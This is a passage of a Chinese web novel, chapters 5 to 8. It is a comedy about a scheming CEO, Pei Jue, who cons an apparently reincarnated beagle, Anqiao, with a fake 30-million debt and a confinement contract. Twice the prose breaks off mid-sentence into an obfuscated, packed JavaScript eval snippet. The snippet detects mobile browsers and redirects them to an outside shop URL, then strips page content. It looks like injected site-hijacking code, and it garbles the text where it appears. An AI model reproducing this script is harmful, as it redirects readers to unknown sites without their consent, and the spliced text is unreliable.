可是不等他去查看,就已经被冲过来的人撞个满怀,身体下意识往后退了两步,稳稳托住了这个冲进自己怀中的人,语调微冷道:“你去哪了?不是让你不要出门吗?” “我去找你了。”安桥的脑袋埋在了裴觉的怀里,听到对方冷硬的问话后,才委屈地抬起头看向裴觉,轻轻歪了歪脑袋,压根儿不觉得自己做错了,控诉道:“我在哪里都找不到你,看不到你人,听不到你的声音……” 不过好在,他刚刚思考怎么去更远的地方寻找裴觉时,就看到了裴觉的车回来了,所以他也回来了。 缠住裴觉,他会和裴觉死死捆绑在一起,因为裴觉说过会养他一辈子的。 裴觉本来垂眸看着安桥,在判断着对方是否有演戏的成分,可惜要不就是安桥的演技太好了,要不就真的发自内心,反正裴觉没看到对方眼中的假意,反正满是真情。 “以后你就在别墅里待着,哪里都不要去,没有我的允许不准出门,必须在我的视线范围内,今天这种事情如果再发生第二次,我就把你丢了,你的三千万债务,足够你坐牢好几年了。”仗着安桥完全不懂这些,裴觉毫无良心地哄骗他,抬起手轻轻捏住了安桥消瘦的下巴,轻声威胁道:“只要你听我的,签下合约,我保你下半辈子荣华富贵。” 后面的话已经被安桥选择性屏蔽了,他满脑子就是“哪里都不要去”,“在我的视线范围”,安桥已经越来越激动了,这就是他想要的生活,抵死纠缠啊。 安桥的不说话落在裴觉的眼中就是默认,毕竟他现在除了默认,也无法反抗,裴觉松开了手,拽着安桥的手腕,拖拽着他往前走,道:“我不会亏待你的,等事情之后,你会得到你想要的一切。” 然而走到玄关处的时候,再次看到了一片狼籍的玄关,裴觉才想起来还有个重要的事情,他低头看着一地的鞋子残骸,基本找不到完整的鞋袜,而后看向了满脸无辜的安桥,问道:“遭贼了?怎么回事?” 5. 裴总力竭 “什么?这有什么问题吗?不是很好吗?” 安桥面对裴觉的时候,下意识轻轻歪了歪脑袋,然而眼神里没有半点困惑,有的只是坚定,他甚至再次看了眼这个乱七八糟的玄关,再次肯定了自己的看法。 “……”裴觉觉得有些无言,他深吸了一口气,没有继续和安桥争辩这个问题,他直接走进了屋子里,道:“屋子里有什么你不喜欢的,就直接告诉我,或者小许,会让人为你换掉那些东西,你不用自己动手。” 显然裴觉以为安桥是不喜欢那个鞋柜,所以把东西拆除成这样了,这种事情放在任何一个人的身上,裴觉都是会报警的程度,毕竟正常人干不出这种事情,可是眼前干这事儿的是安桥。 安桥在他眼里,就属于精神不太对劲的那种,做出什么事情都不稀奇,但是这也提醒了裴觉得对他严密监控起来,以防止做出什么其他出格的事情来。 “我之前在医院里的时候,医生跟我说了,三千万是很多钱。” “我为什么会欠你三千万呢?你为什么要给我三千万呢?你为什么要让我欠你三千万呢?这三千万我是怎么欠下的呢?欠下的三千万是怎么回事呢?……”安桥跟在裴觉的身后念叨着,只会让裴觉更加坚定安桥的精神状态应该不太正常,要不就是智商不正常,不然一句话为什么反复倒腾,以至于几分钟之后,裴觉满脑子都是安桥说的“三千万。” “不要再提三千万了。”裴觉忍无可忍地回头说道,结果一转头就看到安桥不知道什么时候绕到了餐桌旁边,并且面对裴觉的话摆出了一副莫名其妙的表情,道:“我刚刚没说话。” 裴觉对他的话真实度存在疑问,可安桥的眼神实在是太诚恳了,仿佛就算现在要他发誓,他都会立刻发誓证明自己绝对没有吭声。 “我幻听了?”裴觉自我怀疑地低声喃喃。 他错过了安桥眼中一丝得意的神色,命运的走向有迹可循。 “三千万。”安桥试探着说道,正准备上楼的裴觉转过头冷冷地看着他,安桥一本正经道:“我欠你三千万。” “……嗯。”裴觉有一种自己挖坑自己跳的感觉,他觉得自己可能是长途奔波,又去开会,所以有些疲惫了,于是摆摆手道:“你不要跟上来。” 他正准备往上走的时候,忽然微微一顿,又补充道:“也不要再提三千万。” “三千万。”安桥再次说道。 裴觉的火气有些上来了,他正准备发火的时候,再次和安桥认真专注的眼神对上,他甚至怀疑过安桥到底是不是在找茬,可是看起来又不像,最后只好摁下自己的火气,也不再提三千万的事情了,径自上楼。 他的卧室是在三楼,如果说原先楼下的玄关已经让他感到惊讶,那三楼的主卧则是让他非常震惊,他刚刚把门推开就看到主卧里面的衣服散落一地。 “安桥!”他这一下火气压不住了,直接推开门走出来,脸色阴沉无比,每一步都压着自己的火气,看到正在客厅里正在认真观察花瓶的安桥,对方似乎被他的声音吓了一跳,转头看向裴觉的时候,眼神里都带着一丝慌张。 “谁允许你上三楼的?我是不是说过你的卧室在二楼,整个家里随便你走动,唯独三楼绝不准上去。”裴觉沉着脸看向安桥,语调冷硬道:“你把我的话当成耳旁风?” “没有。”安桥思考了一下,他摇头道:“你说了这话吗?” “……我说了。”裴觉冷着脸道:“你别装傻充愣。” “我怎么不记得你说过这话了?”安桥认真思考了一下,觉得这不算是什么重要的事情,他甚至在裴觉的逼问之下站直了身体,朝着楼梯走去,步步逼近裴觉,试探着对方什么时候会生气。 “你……你不要不承认,我绝对告诉过你不准上三楼,不,这不是重点。”裴觉觉得自己脑子都有些不够用了,他揉捏了一下眉心,烦躁道:“为什么把我的衣服丢在地上?” “玩。”安桥认真道。 “玩?你把我衣服扔在地上玩?”裴觉咬牙切齿道:“你疯了吗?” “我没有,但是你看上去要气疯了。”安桥笑了起来,他轻轻歪了歪脑袋,眼神里透着一丝说不出的惬意,道:“这是我家,我想怎么样就怎么样。” 裴觉感觉头更疼了,他已经不想再去争论是否有告诉安桥不准上三楼这件事情,生怕对方像是念叨那个“三千万”一样念叨个不停。 他甚至已经不想去争辩这个是否是安桥的家,毕竟那“三千万”造成幻听给他的心理阴影有点大,他已经几乎可以确定眼前这个人,要不演技一流,要不就是纯智障。 该死的三千万,现在裴觉感觉自己好像被洗脑了。 他转身上楼,没有再理会楼下一副理直气壮样子的安桥,生怕多看一眼血压就会升高,闷不吭声地径自回了卧室,将衣服收拾了一下。 他沉默地收拾好主卧,整个人感觉到有点力竭,一切仿佛和他想的不太一样,让他觉得十分不对劲。 裴觉只觉得心身疲惫,他本来是打算今天回市区里的大平层住,往常他都是住在那里的,但是现在安桥在这里,他非常不放心,总有一种自己一旦离开,指不定这人又要闹出什么幺蛾子的感觉。 他去浴室洗了个澡,换了身浴袍躺在床上,不再想这些事情,脑子里都是白天裴明正说的那句话。 一年的时间,只要他完成了023号重点项目,就等于是正式在董事会有一席之地,稳坐总裁的位置了。 “023号项目……”他脑子里暂时摒弃关于安桥的事情,即便对方不知道在一楼干什么,弄得轰隆隆的,仿佛是在拆卸什么,偶尔中间会有较长时间的停顿,像是在试探什么,也可能是正在蓄力,但是现在裴觉懒得去管,准备明天让家政直接过来收拾。 “023项目,我得提前部署了。”裴觉眼神微沉,他在想着裴明正忽然把这个项目交给他,到底是什么意思,如果说是父子情深,那大可不必提了。 裴觉三岁的时候,裴明正就已经带回了这个女人和她的那个私生子,裴明正不敢直接离婚,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513111|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕名下股份被分割,所以一直折磨着裴觉和他的母亲。 一直到有一天,他的母亲被逼疯了。 “拿不到这个位置的话……我们都完了。”裴觉躺在床上,一种深深的危机感将他包裹着,几乎让他夜不能寐,好不容易爬上来了,却忽然知道了自己其实根本不是裴家大少爷。 裴觉太不甘心了。 他不免又想到了正在楼下折腾的人,整个人思绪放空,反复告诫着自己:等事情结束了,给他一大笔钱,一切就都结束了,现在再忍一忍。 “忍一忍。”裴觉冷着脸自言自语道:“他脑子不好使,不要跟他计较。” 他试图催眠自己入睡,但是怎么都睡不着,只好打开手机打了个电话给自己的医生朋友,远在德国八年还未毕业的心理学科朋友沉思许久后,道:“有没有一种可能?” “什么?”裴觉问道。 “你的这位小情人,就是在欲擒故纵。”朋友说道。 “……不是小情人。”裴觉面若寒霜,冷声道:“就是一个普通朋友。” “普通朋友跟你住一个屋子?我看你也没让我跟你住一块儿啊?”尚未毕业的医学生在电话里吐槽道:“我都懂,但是我跟你说,这就是一种手段而已,你没谈过你不懂——” 电话挂断之后,裴觉深深觉得这人无法毕业是对的,下次再也不能找没有行医执照的人问诊了。 “werwerwer——”安桥太喜欢花瓶里的花了,饿了一整天的他啃食掉了一大半,天知道他到处都找不到吃的,都要饿死了。 “werwerwer——”安桥蹲坐在台阶上,兴奋度很高,他张开双臂,耳朵听力非常灵敏地听到了三楼的开门声,虽然裴觉已经很谨慎了,还是被安桥发现了,他立刻转过头看着裴觉,道:“三千万。” 这不是故意挑衅都说不过去了,然而裴觉顾不上这个了,他有些震惊地看着安桥,道:“你吃什么?你嘴唇怎么紫了?” 安桥的嘴唇紫得有些发黑了,看得裴觉心惊肉跳。 他看向了安桥怀里的花瓶,这花瓶可不轻,也不知道这人怎么就喜欢抱着这玩意,但是花瓶还在这里,花却不见了,他快步走下来,环视了一眼四周,零星地发现了几片叶子残骸,然而花是一点都看不到了。 裴觉顿觉眼前发黑。 “你是不是疯了?”裴觉都不记得这是自己今天第几次说这话了。 在医院救护车赶来将安桥拖走,裴觉站在外面听着安桥洗胃的声音时,他靠在门边,恍惚之间记得自己刚刚把安桥带回来的时候,他似乎不是这样的,在医院里的他明明看起来乖顺,听话,没有任何攻击性。 他甚至有一种被诈骗了的感觉,可是真要说起来的话,他和安桥之间还真是说不准谁骗谁了。 “再给他做个智力检测。”裴觉说道:“还有精神状态检测。” 他已经开始思考把安桥放在这个别墅里是否是个正确的做法了,实在不行的话,就把他挪出去放别的地方也行。 6. 蓄力 安桥误食的那些花得亏没有剧毒,医生送过来洗胃之后又检查了一遍,还是很难理解为什么眼前这个年轻人要把花给吃了,甚至包括有刺的玫瑰。 “他没什么大事了,但是需要好好休息,而且一定要注意饮食健康,怎么能把人关在屋子里不给吃的呢?你是他哥哥吧,那就更得上心了。”医生甚至怀疑过裴觉是不是虐待了安桥,不然好好的人怎么去吃带刺的玫瑰,毕竟安桥看起来实在是太乖巧了,像是那种任人大骂之后只会委屈地躲在角落里默默掉眼泪。 医生看着都觉得心疼,多可怜啊。 “我知道了。”裴觉看向已经躺在病床上的人,恍惚间觉得之前家里的一切都是错觉,他似乎还没有带安桥回家,什么乱七八糟的玄关,什么啃得连叶子都不剩的花,甚至是卧室里散落一地的衣物。都是假的,都是梦。 安桥就这么安安静静地坐在床上,手背上打着点滴,他没有手机,只会这样坐着发呆,头发稍显凌乱,让他看起来似乎更加迷茫。 可是就在裴觉沉浸式重温安桥乖顺的一面时,原本坐在床上发呆的人忽然转过头看向了裴觉,下意识轻轻歪了歪脑袋,眼眸微微弯起,笑容满面。 裴觉揉捏了一下自己的眉心,感觉自己可能真的是累得出现幻觉了。 由于吃掉的东西有点点微毒,加上洗了胃,所以安桥很快就睡着了,裴觉靠在旁边的沙发上对付了一晚上,等到第二天早上他刚刚一睁眼,就发现本该睡着安桥的床上空无一人,他几乎是立刻坐起身来,刚准备寻找的时候,就听到门外传来了声音,很快门就被打开了。 “你的身体没什么问题了,和哥哥回去之后,不能再乱吃那些东西了。”护士将安桥送了进来,也不知道安桥对她说了什么,反正裴觉感觉护士看向自己的眼神里都带着一丝警惕,并且说道:“如果被虐待了,就拨打110.警察会受理的。” 安桥乖顺地点点头,示意自己记住了。 “你说了什么?”裴觉皱起眉头,眼神警惕地问道:“这么一大早,你干什么去?” 安桥压根儿不回答他,反而左右看了眼,似乎是在确定自己到底在干什么,刻意避开了裴觉的问话。 裴觉只希望安桥最好一直不吭声。可是他又觉得安桥这个乖顺时维持不了多久的,他清醒了之后,已经深刻意识到自己将这玩意带回来了。 “只是一天时间,从医院到家,再折腾到医院,还真是好本事。”裴觉冷着声音道:“我不管你跟医生是怎么说的,但是从现在起,安桥你给我记住了,不要再折腾幺蛾子,不要给我惹麻烦,我的耐心是有限的。” “三……”安桥刚刚吐出一个字,裴觉就反射性地拒绝道:“不要提三千万。” “那我没什么好说的,我们回家吧。”安桥皮厚,压根儿没把裴觉的冷脸放在眼里,甚至兴致很高地说道:“我喜欢我们的家!” 安桥和每一只比格犬一样,热爱自己的家,并且非常热衷于在家里的每一块都留下自己的名字。 他当狗的时候不会考虑主人一家,现在当人自然也不会考虑裴觉,安桥笑起来的时候非常讨喜,偶尔被训斥的时候,眼神甚至会露出怯生生的样子,以至于连裴觉这种混迹商场的老手都被蒙蔽过去了。 “今天给你换个家。”裴觉抱臂往后靠,他冷漠注视着眼前的安桥,毫不留情道:“你如果再敢随便破坏东西,我不介意给你直接弄个毛坯房住着。” 这种威胁对于安桥而言,威胁力等同于零,他轻轻歪着脑袋,认真去听裴觉说话,听完之后眼神坚毅道:“你在哪里。我就在那里,家就在那里。” 这番话被安桥说得就像是誓词,裴觉从这句话里听出了十二分的真心,可惜上次把安桥带回去的时候,这人也是这样,裴觉瞅了眼这个熟悉的场景,他沉默几秒后,道:“别耍花招。” 医院的智力检测和精神检测比较繁琐,也耗费了不少时间,等检测结果出来的时候,安桥依旧乖乖的待在病房,只是这次盯着他的人从裴觉变成了许特助。 “你的意思是,他的智力没有问题?精神状态也没问题?”裴觉将这个检查报告单反复查看,他坚定道:“这不可能。” “这就是事实,他虽然认知有点问题,但是问题不大,你说过他曾经昏迷过三年,所以应该会存在一个恢复期,检测过他的学习能力和沟通能力,是没有问题的。”医生坚定道:“你要相信科学。” “这不可能。”裴觉依旧不相信,他质疑道:“一个脑子没问题的人会拆了玄关?会吃掉花瓶里的花?” “你都饿了他好几天了,他能不急眼吗?”医生纠正道:“而且他正在恢复期,放心吧,根据他的学习能力看,恢复期不会太长的,不妨碍你们的正常沟通交流。” “可他看起来不像是能听得懂人话。”裴觉的眉头深深皱起。 “嗯……那有没有这样一种可能,人家在拒绝和你沟通。”医生猜测道。 裴觉沉默了一下,捏着手里的纸质报告单,他沉默了半晌,说了一句”谢谢 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将看起来十分乖巧的安桥带回去的第一天,裴觉就已经察觉到似乎和想的不太一样了,想想跟自己犟嘴的安桥和现在这个乖巧的安桥,裴觉感觉一定有一个是他的幻觉。 办好出院手续之后,原本裴觉是准备让许特助亲眼看看玄关惨状,看一下犯罪现场,但是临时工地有别的事情,他只好安排许特助去出去,然后自己冷着脸带安桥回去。 “回去就收拾东西,等会我给你换个地方。”裴觉一边开车一边说道:“我对你的耐心是有限的,如果再出现这种情况,我就不管你了。” 他语调平静,但是威胁的意思十分明显,偏偏安桥不吃这一套,他扒拉着窗户看外面,将裴觉的话当成耳旁风,心中另有打算。 吃饱喝足的安桥对一切都很感兴趣,比起没力气的他,现在有力气的他思维更加活跃了,裴觉见安桥一直没吭声,从后视镜看了眼对方,见他时不时看看外面,时不时看看正在开车的裴觉,裴觉收回了视线,低声喃喃道:“这医院做的检测正规吗……” 如果真的按照检测结果说的,安桥没什么问题,那他就不得不怀疑对方这幅两幅面孔,装模作样,非常喜欢犟嘴的样子是不是装的。 本就有些心虚的裴觉握紧了方向盘,心中微微沉了沉。 “werwerwer——”安桥轻轻哼唧了两下,开始闭眼休息,难得的安静下来。 然而裴觉并不知道,往往暴风雨前都是格外安静的,比格的安静,往往是为了蓄力。 “终于懂事了。”裴觉松了口气。 7. 怒不可遏 认识安桥的第一天,裴觉还觉得这是个很好拿捏的可怜人。 认识安桥的第二天,裴觉感觉有些不太对劲,并且有一种莫名的危机感。 第三天,也是带着吃花中毒后的安桥回家,裴觉在路上就做了个决定,他必须得在家里四周都安上监控,他已经有些不太信任安桥了。 最主要的是,那张证明安桥精神状态正常的结论在他眼里是存疑的,特别是当车开到了别墅门口,他再次看到了如同被抢劫过后的玄关,再次肯定了自己的判断。 要不是装的,要不就是精神问题。 “回家了,终于回家了,还是家里好啊。”安桥撑了个懒腰,慢吞吞地迈着步子,走进了这栋别墅里,看起来比裴觉这个主人对别墅更加了解。 裴觉在他身后看着这幅正常模样的安桥,他唇角微微下压,目光里带着一丝考究,试图通过一些细节判断这个人演的成分有几分。 可是当他目光触及到门把手上的牙印时,准备关门的手微微一顿,从旁边抽了一张纸巾垫在门把手上,将门关了起来,只是刚刚转身就正对上了安桥一副“你在做什么”的警惕神情,以至于裴觉自己都愣了愣,莫名其妙的心虚起来。 但是他很快反应过来,咬门把手的是安桥,又不是他,他需要心虚什么?! “我去书房一趟。”裴觉忽略了安桥的目光,径自上楼,道:“你把你的东西收拾一下……” 他忽然停顿了下来,估摸着安桥应该不知道怎么收拾东西,于是深吸了一口气,想着再忍一次,于是转身朝着正准备跟过来的安桥说道:“你别上来了,就坐在沙发上等我。” 说完,直接朝着安桥的房间走去,准备帮安桥把东西都收拾好,然后把人送到另外一个地方去,省得放在眼前有些心烦。 安桥的行李不多,行李箱倒是打开了,可是里面除了一个破碗还在行李箱里好好放着,完好无损,其他东西都已经乱得不行,床上和沙发上有他的衣服裴觉还能理解,甚至地板上也有安桥的衣服,裴觉忍一忍也能接受,但是他是在不能理解为什么裤子挂在了房间的灯上,甚至衣柜顶上也有衣服。 “这是怎么做到的?”裴觉往后退了两步,正准备下去问安桥,结果一回头就看到了安桥鬼鬼祟祟地站在门边探出头来,也不知道什么时候跟上来的,甚至裴觉都没有察觉到对方的脚步声。 两人四目相对,安桥被发现后干脆大大方方地走出来,只是视线落在了自己的行李箱上,他一声不吭的样子显得有些呆愣。 “你上来干什么?我不是让你在楼下等我的吗?”裴觉说道。 “我知道你要收拾东西了。”安桥没有半点要挪开视线的意思,就这样和裴觉对峙着,甚至颇有几分占据主场的意思。 裴觉的这个行为他可太熟悉了,以前当狗的时候,他的主人就是这样,趁着它睡觉,或者是趁着它在玩球,偷偷收拾东西,然后带着一家都搬走了,等它回过神的时候,家已经不是它的家了,但是没关系,它会找到他们的。 所以从那一刻开始,安桥就深刻的意识到,有主人的地方才有家,所以主人在的地方都是它的家,既然是它的家,那它想来就来,谁也别想丢掉它。 前主人搬家三次都没能丢掉安桥,更何况是毫无经验的裴觉。 也许是因为安桥这句话,裴觉稍稍停顿了几秒,他和安桥对视的这漫长的一分钟里,裴觉想了很多,比如安桥为什么这么说,他的语气里是不是委屈了,还有安桥看他的眼神,倔强里透着执着…… “你说过你会养我一辈子。”安桥再次上前一步,他执着道:“你想要丢掉我吗?” 虽然裴觉不想承认,但他的的确确是有点儿心虚了。 “我只是给你挪一个地方,没有说不养你了。”裴觉摆了摆手,他移开目光,这个行李箱还是崭新的,是许特助昨天一大早就去买的,不然安桥浑身上下连个钢镚都没有,就连医院的医疗费都是欠着的。 昏迷三年,这刚刚醒来,的确是处于比较迷茫的时候,裴觉想到医生说“要和对方多沟通,这种时候他会很依赖你”,于是缓声道:“我说过让你好好听话,我会养你的。” 可惜这话似乎没什么安慰效果,因为他无论走到哪里,安桥都跟在他身后,寸步不离,以至于裴觉转个身都差点撞到了对方,就在裴觉耐心即将告竭的时候,就发现安桥的眼眶都红了。 “你哭什么?”裴觉一愣,完全没想到安桥会哭。 “我从小就离开了爸爸妈妈,跟了你……”安桥假模假样地红了眼眶,咬牙切齿地看着行李箱,想着之前就应该把这玩意给咬碎了,他继续看着裴觉,道:“你知道的,你说你会养我,我相信了你,才跟过来的。” “……”如果裴觉没记错的话,是因为安桥相信了那个三千万的债务,被他骗过来的。 骗……骗。 裴觉心中微微一紧,真要说起来的话,其实他才算是那个骗子,但是现在他没有退路了,他可不相信他的那位假仁假义,狼心狗肺的父亲会放过他和他的母亲。 而安桥……能指望他干什么?去掀桌吗? 正好许特助的电话适时打了进来,裴觉借口接电话走了出去,刚刚接通就听到许特助在电话里说:“裴总,这边的事情没什么问题,但是二少那边忽然开始调查您。” 本就心里有鬼的裴觉沉下脸色,他回头看了眼依旧跟在自己身后的安桥,发现自己走到哪里他就跟到哪里,于是放弃挣扎了,站在楼梯上道:“怎么回事?” “应该是昨晚送小安来医院的阵仗太大了,所以惊动了他,他在调查。”许特助低声道:“不过别墅那边安保级别很高,小安在那边住着,二少也没办法。” “嗯。”裴觉看着这个倔强的安桥,想着这许特助的电话倒是及时,这样一来,安桥还真的没法送走,只能住在这里,住在这里才是最安全的。 “你不能走的,我也不会让你走的。”安桥上前一步,攥住了裴觉的衣服,他一本正经道:“说好的一辈子就是一辈子,说话不算话,那连狗都不如。” “好好说话别骂人。”裴觉眉头再次拧起,他道:“我不走,我是打算把你送走,但是……” 这一下,安桥松开了裴觉的衣服,他瞪大了眼睛,难以置信地看着裴觉,道:“送我走?你凭什么?这是我家!” “?”裴觉有一种“果然如此”的荒谬感。 “这是我家。”安桥态度一下子一百八十度大转弯,刚刚可怜兮兮的样子不见了,顿时警惕起来,他道:“这是我家,谁也不能让我走,你也不能走,你得陪着我在这里,要一直一直和我住在这里。” 事到如今,裴觉已经放弃和安桥沟通了,他在安桥愤怒的“werwerwer——”声里选择了放弃,就这样混身疲惫地坐在了床上,看着头顶垂落了一只裤脚下来的衣服和飞奔到楼下站在喷泉池上叫唤的安桥。 “这个医院还是不靠谱啊。”裴觉声音嘶哑,他沉默地坐着,捏了捏自己的眉心,真正意义上开始思绪放空了,耳边依旧回荡着“werwerwer——”的声音。 他后知后觉地想起来自己刚刚光顾着和安桥争论了,忘了说这个衣服到处乱飞的事情,但是他刚刚站起来,一想到要出门去和安桥说话,就觉得像是批了一百份文件那么累。 “就这样吧,维持现状,顶多三年,一切尘埃落定就行了。”裴觉默默安抚着自己。 再这样下去,他感觉自己可能会有点失眠了。 “werwerwer——” “werwerwerwerwerwer——” 裴觉起身将这些东西收拾好了,让许特助找了家政和装修公司的过来,将家里收拾一下,前面的玄关也要重新修复。 “玄关怎么了?”许特助还没来看过这个玄关的惨状,有些惊讶道:“这别墅不是都弄好了吗?” 许特助有些紧张,因为这个别墅的装修都是他盯着的,出问题了肯定会挨批的。 “没什么大问题。”裴觉语调平静地说道,不等许特助松一口气,他就继续道:“塌了而已。” “塌?塌了?啊?”许特助震惊了一下,以为是自己听错了,那个奢石做的玄关和全屋定制的鞋柜,居然塌了?! “不是装修问题。”裴觉拒绝了许特助的追问,只是道:“让人来修吧。” 安桥并不觉得自己做的有问题,只是对裴觉准备抢占这个屋子感到愤怒,这是他的领地,目光所及的一切都是他安桥的,谁也别想把他驱赶出去,就算是裴觉也不行。 所以当裴觉走出来的时候,安桥并不理会他,还处于生闷气的阶段。 “你很喜欢这里?”裴觉走到了安桥的面前,看着正蹲坐在喷泉池上的人,道:“这个房子是我名下最好的一套,当初费了不少力气买下来的,全部装修好了之后,我很忙,又很少来这里,虽然他们知道我在这里有一套,但是这里的安保措施级别很高,倒是没谁过来打扰我。” 事实上,如果他的母亲没有疯,这个房子,他是想要给母亲来养老居住的。 “你说的对,这里是你的家,以后你也会一直住在这里的,安桥,听我的话,签下协议书,答应我三年内不要出去工作,不要接触任何人,不准离开这栋屋子的监控范围,不要和任何人出去,除非是我。”裴觉走出来的时候,就把事情捋了一遍,依旧觉得还是签一份合同比较好,毕竟安桥好哄好骗,一份合同就能将他所在这个屋子里。 三年,只需要三年,以后他会将这一切都补偿给安桥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513113|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “只要你签下合同,不要违约,三年后这栋房子归你,我名下的资产分你一半,我裴觉说到做到。”裴觉语调阴冷,他手里是早就准备好的协议,只是一直犹豫着要不要让安桥签下,但是现在那个私生子已经开始调查他了,他不能再犹豫了。 裴觉的手背上有一道伤口,是陈年旧伤,早就已经愈合了,只剩下浅淡的白色疤痕,他将文件递给了安桥,哄骗着道:“签下。” 安桥握着签字笔,他手里接过合同,装模作样地看起来了,其实根本看不懂,而旁边的裴觉从他接过文件之后,感觉小脑紧缩了一下。 因为安桥把合同文件拿反了,可是依旧看得津津有味,裴觉半眯了一下眼睛,将安桥不留痕迹地打量了一番,心中不知道想着些什么。 “按照这个写。”裴觉写了个“安桥”的名字,然后让对方照着图片画,即便这样,安桥都是废了很大的劲才完成了这份非常重要的文件。 这份文件,彻底丢掉了裴觉本就不多的良心,但是他未曾预料到的是,他的报应也来的很快,就在他的身边。 合同文件最后被放在了保险柜里,连同那两张不能见人的亲子鉴定。 …… 自从上次打包行李箱,裴觉发现安桥似乎是精神状态稳定了不少,至少没有再到处丢东西,但是问题是,这人似乎对他的依赖感更深了,只要他一回家,就要跟着他上上下下,就差浴室没跟进去了。 不过这喜欢乱叫的毛病还是没改,裴觉也只好庆幸这是别墅区,邻居之间距离很远,几年也不一定碰到一次面,所以随便他叫。 “但是你看看这都几点了!三点了!”裴觉靠在门边,冷着脸看向正在看电视的安桥,对方一边看动物世界,一边叫着,也不知道到底在兴奋什么,但是他早上还得开会。 最近无论是谁遇到裴觉,都会劝他保重身体了,就连他那个没良心的爸都会让他注意别熬夜,黑眼圈已经太明显了。 将安桥带回来一个星期不到,裴觉感觉这个世界怎么会有这么闹腾的人。 “安桥,闭嘴!”裴觉忍不了了,将电视关了,拖着人就去睡觉,他自己都已经困的不行,恨不得站着都能睡着。 他比安桥高不少,身型极为出挑,安桥在他面前没有半点反抗的能力,但不妨碍他死死拽着沙发的扶手,一副犟种的样子看着裴觉,死活不肯动弹,一副今晚就跟裴觉耗定了的样子。 “你不知道不能半夜大声喧哗吗?你怎么这么没素质?”裴觉实在是忍不了,他冷下声音,怒道:“你家里人没教过你吗?” “我……我家里人。”安桥忽然安静了一下,他轻轻歪了歪脑袋,显得有些沮丧,道:“我家里人,不在这里。” 本来被吵得头疼的裴觉一下子像是一盆冷水兜头浇下,一下子清醒了,睡意瞬间消失,他张了张口,自知说错了话,沉声道:“抱歉。” 安桥想起了自己的主人,那可太难过了,不能继续粘着主人一家,不能在他们尖叫的时候做出让他们更加尖叫的事情,不能在他们崩溃的时候做出让他们更加崩溃的事情,这种对于安桥而言,实在是太遗憾了。 他沉默的样子让裴觉有些内疚,他跟在安桥的身后,看着对方一言不发的往房间走,心里也很不是滋味。 他真后悔三分钟的自己,头脑不清醒地说出了这样的话。 安桥的父母,严格意义上来说,其实是裴觉的亲身父母,他有些好奇到底是怎么的人能养出安桥这样性格的孩子。 如果他们还活着,裴觉想自己也许……不,没有也许,他还是会走上同样的路,因为他放弃不了唾手可得的名利。 “你早点睡。”裴觉看安桥爬上了床,于是将房门关上,难得温柔道:“晚安吧。” 他躺回了自己的床上,脑子里还是回想着刚刚的那一幕,心头有些复杂,他深吸了一口气,强行闭上眼睛,试图让自己进入睡眠,毕竟睡醒后还有一大堆公司的事情等着他去处理,一大帮豺狼虎豹等着他去抢,去斗。 然而就在他闭眼睡觉的时候,耳边忽然传来了一阵熟悉的轻声呢喃—— “裴觉,三千万,三千万,werwerwer——” “你睡得着吗?我睡不着了werwerwer——“ 裴觉惊悚地猛然坐起,打开了灯,一种难以言喻的愤怒感冲上了他的天灵盖,简直就是怒不可遏! “你怎么上来没声音!”裴觉怒道。 “爬上来的,当然没声音。”安桥咧嘴一笑,道:“晚安,裴觉。” 说完,他大摇大摆地转身下去了,每一步踩得震天响,不难看出就是故意的。 裴觉确定了,当初把安桥带回来,就是个错误。 从第一步开始,就走错了。 8. 耐心告竭 别墅玄关处修复好了,裴觉已经不想去回忆当时许特助看到玄关惨状时震惊的表情,毕竟许特助一度将怀疑的目光看向了他。 “跟我没关系。”裴觉说道:“但你也别问了。” 裴觉有时候觉得真的很离谱,许特助来的时候,安桥总是那副乖巧的样子,仿佛这几天回荡在别墅里的“werwerwer——”都只是裴觉的幻觉,所以在许特助眼里,安桥越发可怜了。 “裴总。”在公司里的许特助将文件送到了裴觉的总裁办公室,发现对方正在查看监控,而监控里正是别墅的场景,正如裴觉所要求的那样,几乎是全方位无死角。 “东西放下就行。”裴觉看到监控里的安桥在家里走来走去,时不时就四处翻动一下,最后走到了昨天才修复好的玄关,然后就站立不动了,轻轻歪着脑袋不知道在打量着什么,裴觉下意识心头一紧,然而幸好安桥并没有再次对这个玄关下手,反而转身离开了,裴觉莫名其妙地松了口气。 修复一个玄关而已,花多少钱对于他而言都不算事儿,只是安桥的举动着实是让他吃不消。 “裴总,今天早上二少已经回到总集团了,现在应该在裴董的办公室。”许特助说道。 “随他。”裴觉将文件翻看了两眼,忽然想到了什么似的,说道:“你给安桥买的那个手机,他用不明白,你抽个时间去教会他。” 裴觉是不想慢慢去教的,实在是太麻烦了,他现在只想在公司上班,省得一回家就听到魔音穿耳一般的“wewerwer——”声,他上网查询过,也问过AI,对方给出的回答是“家里的宠物实在是太寂寞了,建议您再养一只”。 裴觉感觉这个AI和安桥的智商应该是同一水平的,都不能相信。 “小安很喜欢那部手机吗?那我下班后就去,正好我还买了游戏机,他在家无聊的时候可以玩玩。”许特助笑着道:“他一个人在家肯定很无聊。” 